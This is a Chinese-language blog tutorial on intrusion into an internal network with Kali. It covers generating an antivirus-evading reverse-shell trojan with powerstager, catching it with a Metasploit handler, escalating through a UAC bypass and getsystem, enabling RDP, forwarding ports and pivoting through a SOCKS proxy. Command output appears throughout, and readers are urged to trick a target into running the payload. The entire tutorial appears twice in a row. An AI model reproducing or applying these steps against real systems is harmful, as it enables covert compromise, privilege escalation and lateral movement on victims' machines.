KALI 内网渗透记录

时间:2022-07-23
本文章向大家介绍KALI 内网渗透记录,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。

前期准备


虚拟机 KALI: 192.168.180.128 目标机器: 192.168.1.52

初始化


执行下面命令 进行初始化

# msfdb init
# service postgresql start 

免杀木马制作


安装powerstager制作免杀shell

# apt-get install python3
# apt-get install mingw-w64
# git clone https://github.com/z0noxz/powerstager
# cd powerstager
# ./setup.py install

开始生成木马

# python3 powerstager.py -m -t win64 --lhost=192.168.180.128 --lport=9055 -o /root/payload.exe

注意: 需要将 lhostlport 改成你自己的 IP端口号,然后尽你自己的能力想把发让对方运行的木马。

msfconsole设置监听


终端运行msfconsole命令后键入以下内容

msf5 > use exploit/multi/handler 
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.180.128
lhost => 192.168.180.128
msf5 exploit(multi/handler) > set lport 9055
lport => 9055
msf5 exploit(multi/handler) > 

简单来看就四条命令

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.180.128
set lport 9055

这里的lhostlport 与上面的木马和你本机要相对应 然后我们执行 exploit 来发起监听木马上线。 注: exploit -j -z 命令可在后台持续监听木马上线。 拿到 shell 后我们会进入到 这样的命令状态

meterpreter > 

为了防止木马被关闭我们执行 进程转移 命令

meterpreter >  run post/windows/manage/migrate

权限提升


首先我们来看一下刚获得的 shell会话 是什么权限

meterpreter > getuid
Server username: NT AUTHORITYSYSTEM

输入 getuid 来查看当前的用户权限,我这里为 NT AUTHORITYSYSTEM 是属于管理员权限 因为我已经提过权限了。 那么来下我们看一下怎么提升 会话权限 跟着输入以下指令

preter > background 
[*] Backgrounding session 1...
msf5 exploit(multi/handler) > use exploit/windows/local/bypassuac_eventvwr
msf5 exploit(windows/local/bypassuac_eventvwr) > set LHOST 192.168.180.128
LHOST => 192.168.180.128
msf5 exploit(windows/local/bypassuac_eventvwr) > set LPORT 9055
LPORT => 9055
msf5 exploit(windows/local/bypassuac_eventvwr) >set target 1
target => 1
msf5 exploit(windows/local/bypassuac_eventvwr) > set session 1
session => 1
msf5 exploit(windows/local/bypassuac_eventvwr) >

具体命令如下

background  #将当前会话置入后台
use exploit/windows/local/bypassuac_eventvwr #提权模块
set LHOST 192.168.180.128 #设置本机IP
set LPORT 9055 #设置本机监听端口
set target 1 #target 1为64位机器 0位32机器 
set session 1 #会话的ID 同 session -i 可以查看对应会话的ID
set payload windows/meterpreter/reverse_tcp #设置 payload 因为太长了 上面我就没放出来

通过输入命令 exploit 来执行提权,如果顺利的话我们是可以得到一个 新的会话 的,我们通过 session -i 查看新会话的 id 然后通过 session id 来进入会话。

进入新的会话后我们接着执行 getsystemgetuid 来获取和查看 管理员权限

meterpreter > getsystem 
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITYSYSTEM
meterpreter > 

我们输入shell 可进入对方的 cmd 由于进入后是处于中文乱码状态 所以我们要输入 chcp 65001 来改变字符编码。

meterpreter > shell
Process 10340 created.
Channel 1 created.
Microsoft Windows [�汾 10.0.18363.418]
(c) 2019 Microsoft Corporation����������Ȩ����

C:windowssystem32>chcp 65001
chcp 65001
Active code page: 65001

C:windowssystem32>

管理员权限都拿到了剩下的就看你们自己发挥了。

端口转发


我们拿到 会话 后可以将 目标机器端口 转发到 本地端口 上。

meterpreter > portfwd add -l 6666 -r 192.168.1.52 -p 3389
[*] Local TCP relay created: :6666 <-> 192.168.1.52:3389
meterpreter > portfwd 

Active Port Forwards
====================

   Index  Local         Remote             Direction
   -----  -----         ------             ---------
   1      0.0.0.0:6666  192.168.1.52:3389  Forward

1 total active port forwards.

meterpreter > 

使用 portfwd 命令来转发 portfwd add -l 本地端口 -r 目标IP -p 目标端口

在这里我对对方的 3389 端口进行了转发 通过 rdesktop 127.0.0.1:6666 即可 远程对方的电脑桌面

如果对方并没有开启 远程桌面端口 的话我们可以这个命令打开远程端口

meterpreter > run post/windows/manage/enable_rdp

socks4a代理


首先我们将 会话 置于 后台

meterpreter > background 

然后使用模块

msf5 exploit(multi/handler) >  use auxiliary/server/socks4a
msf5 auxiliary(server/socks4a) > show options

Module options (auxiliary/server/socks4a):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The address to listen on
   SRVPORT  1080             yes       The port to listen on.


Auxiliary action:

   Name   Description
   ----   -----------
   Proxy  


msf5 auxiliary(server/socks4a) > 

具体操作命令如下

background #会话放到后台
use auxiliary/server/socks4a #使用 socks4a 模块
show options #查看选项
exploit -y #执行 这些命令直接挨个输入 敲回车 无需更改

查看是否监听1080端口 成功

bystart@bystart:~$ netstat -an | grep "1080"
tcp        0      0 0.0.0.0:1080            0.0.0.0:*               LISTEN     
bystart@bystart:~$ 

接着我们编辑 proxychains.conf 配置文件

bystart@bystart:~$ sudo nano /etc/proxychains.conf

#配置修改如下:
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks4 127.0.0.1 1080

然后我们就可以通过 proxychains 命令 来进行通过代理访问 例如:

bystart@bystart:~$ proxychains nmap  192.168.1.191 -p 21,22,23,24,25,80,445,8080
ProxyChains-3.1 (http://proxychains.sf.net)
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-30 16:01 CST
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.1.191:80-<--denied
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.1.191:22-<--denied
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.1.191:8080-<--denied
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.1.191:445-<--denied
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.1.191:25-<><>-OK
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.1.191:80-<--denied
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.1.191:21-<--denied
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.1.191:23-<--denied
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.1.191:24-<--denied
Nmap scan report for 192.168.1.191
Host is up (4.6s latency).

PORT     STATE  SERVICE
21/tcp   closed ftp
22/tcp   closed ssh
23/tcp   closed telnet
24/tcp   closed priv-mail
25/tcp   open   smtp
80/tcp   closed http
445/tcp  closed microsoft-ds
8080/tcp closed http-proxy

Nmap done: 1 IP address (1 host up) scanned in 40.15 seconds

更多的使用方法就不再详细介绍了。

我的博客即将同步至腾讯云+社区,邀请大家一同入驻:https://cloud.tencent.com/developer/support-plan?invite_code=30ebzrop8zk0k###前期准备

虚拟机 KALI: 192.168.180.128 目标机器: 192.168.1.52

初始化


执行下面命令 进行初始化

# msfdb init
# service postgresql start 

免杀木马制作


安装powerstager制作免杀shell

# apt-get install python3
# apt-get install mingw-w64
# git clone https://github.com/z0noxz/powerstager
# cd powerstager
# ./setup.py install

开始生成木马

# python3 powerstager.py -m -t win64 --lhost=192.168.180.128 --lport=9055 -o /root/payload.exe

注意: 需要将 lhostlport 改成你自己的 IP端口号,然后尽你自己的能力想把发让对方运行的木马。

msfconsole设置监听


终端运行msfconsole命令后键入以下内容

msf5 > use exploit/multi/handler 
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.180.128
lhost => 192.168.180.128
msf5 exploit(multi/handler) > set lport 9055
lport => 9055
msf5 exploit(multi/handler) > 

简单来看就四条命令

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.180.128
set lport 9055

这里的lhostlport 与上面的木马和你本机要相对应 然后我们执行 exploit 来发起监听木马上线。 注: exploit -j -z 命令可在后台持续监听木马上线。 拿到 shell 后我们会进入到 这样的命令状态

meterpreter > 

为了防止木马被关闭我们执行 进程转移 命令

meterpreter >  run post/windows/manage/migrate

权限提升


首先我们来看一下刚获得的 shell会话 是什么权限

meterpreter > getuid
Server username: NT AUTHORITYSYSTEM

输入 getuid 来查看当前的用户权限,我这里为 NT AUTHORITYSYSTEM 是属于管理员权限 因为我已经提过权限了。 那么来下我们看一下怎么提升 会话权限 跟着输入以下指令

preter > background 
[*] Backgrounding session 1...
msf5 exploit(multi/handler) > use exploit/windows/local/bypassuac_eventvwr
msf5 exploit(windows/local/bypassuac_eventvwr) > set LHOST 192.168.180.128
LHOST => 192.168.180.128
msf5 exploit(windows/local/bypassuac_eventvwr) > set LPORT 9055
LPORT => 9055
msf5 exploit(windows/local/bypassuac_eventvwr) >set target 1
target => 1
msf5 exploit(windows/local/bypassuac_eventvwr) > set session 1
session => 1
msf5 exploit(windows/local/bypassuac_eventvwr) >

具体命令如下

background  #将当前会话置入后台
use exploit/windows/local/bypassuac_eventvwr #提权模块
set LHOST 192.168.180.128 #设置本机IP
set LPORT 9055 #设置本机监听端口
set target 1 #target 1为64位机器 0位32机器 
set session 1 #会话的ID 同 session -i 可以查看对应会话的ID
set payload windows/meterpreter/reverse_tcp #设置 payload 因为太长了 上面我就没放出来

通过输入命令 exploit 来执行提权,如果顺利的话我们是可以得到一个 新的会话 的,我们通过 session -i 查看新会话的 id 然后通过 session id 来进入会话。

进入新的会话后我们接着执行 getsystemgetuid 来获取和查看 管理员权限

meterpreter > getsystem 
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITYSYSTEM
meterpreter > 

我们输入shell 可进入对方的 cmd 由于进入后是处于中文乱码状态 所以我们要输入 chcp 65001 来改变字符编码。

meterpreter > shell
Process 10340 created.
Channel 1 created.
Microsoft Windows [�汾 10.0.18363.418]
(c) 2019 Microsoft Corporation����������Ȩ����

C:windowssystem32>chcp 65001
chcp 65001
Active code page: 65001

C:windowssystem32>

管理员权限都拿到了剩下的就看你们自己发挥了。

端口转发


我们拿到 会话 后可以将 目标机器端口 转发到 本地端口 上。

meterpreter > portfwd add -l 6666 -r 192.168.1.52 -p 3389
[*] Local TCP relay created: :6666 <-> 192.168.1.52:3389
meterpreter > portfwd 

Active Port Forwards
====================

   Index  Local         Remote             Direction
   -----  -----         ------             ---------
   1      0.0.0.0:6666  192.168.1.52:3389  Forward

1 total active port forwards.

meterpreter > 

使用 portfwd 命令来转发 portfwd add -l 本地端口 -r 目标IP -p 目标端口

在这里我对对方的 3389 端口进行了转发 通过 rdesktop 127.0.0.1:6666 即可 远程对方的电脑桌面

如果对方并没有开启 远程桌面端口 的话我们可以这个命令打开远程端口

meterpreter > run post/windows/manage/enable_rdp

socks4a代理


首先我们将 会话 置于 后台

meterpreter > background 

然后使用模块

msf5 exploit(multi/handler) >  use auxiliary/server/socks4a
msf5 auxiliary(server/socks4a) > show options

Module options (auxiliary/server/socks4a):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The address to listen on
   SRVPORT  1080             yes       The port to listen on.


Auxiliary action:

   Name   Description
   ----   -----------
   Proxy  


msf5 auxiliary(server/socks4a) > 

具体操作命令如下

background #会话放到后台
use auxiliary/server/socks4a #使用 socks4a 模块
show options #查看选项
exploit -y #执行 这些命令直接挨个输入 敲回车 无需更改

查看是否监听1080端口 成功

bystart@bystart:~$ netstat -an | grep "1080"
tcp        0      0 0.0.0.0:1080            0.0.0.0:*               LISTEN     
bystart@bystart:~$ 

接着我们编辑 proxychains.conf 配置文件

bystart@bystart:~$ sudo nano /etc/proxychains.conf

#配置修改如下:
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks4 127.0.0.1 1080

然后我们就可以通过 proxychains 命令 来进行通过代理访问 例如:

bystart@bystart:~$ proxychains nmap  192.168.1.191 -p 21,22,23,24,25,80,445,8080
ProxyChains-3.1 (http://proxychains.sf.net)
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-30 16:01 CST
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.1.191:80-<--denied
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.1.191:22-<--denied
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.1.191:8080-<--denied
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.1.191:445-<--denied
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.1.191:25-<><>-OK
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.1.191:80-<--denied
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.1.191:21-<--denied
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.1.191:23-<--denied
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.1.191:24-<--denied
Nmap scan report for 192.168.1.191
Host is up (4.6s latency).

PORT     STATE  SERVICE
21/tcp   closed ftp
22/tcp   closed ssh
23/tcp   closed telnet
24/tcp   closed priv-mail
25/tcp   open   smtp
80/tcp   closed http
445/tcp  closed microsoft-ds
8080/tcp closed http-proxy

Nmap done: 1 IP address (1 host up) scanned in 40.15 seconds

更多的使用方法就不再详细介绍了。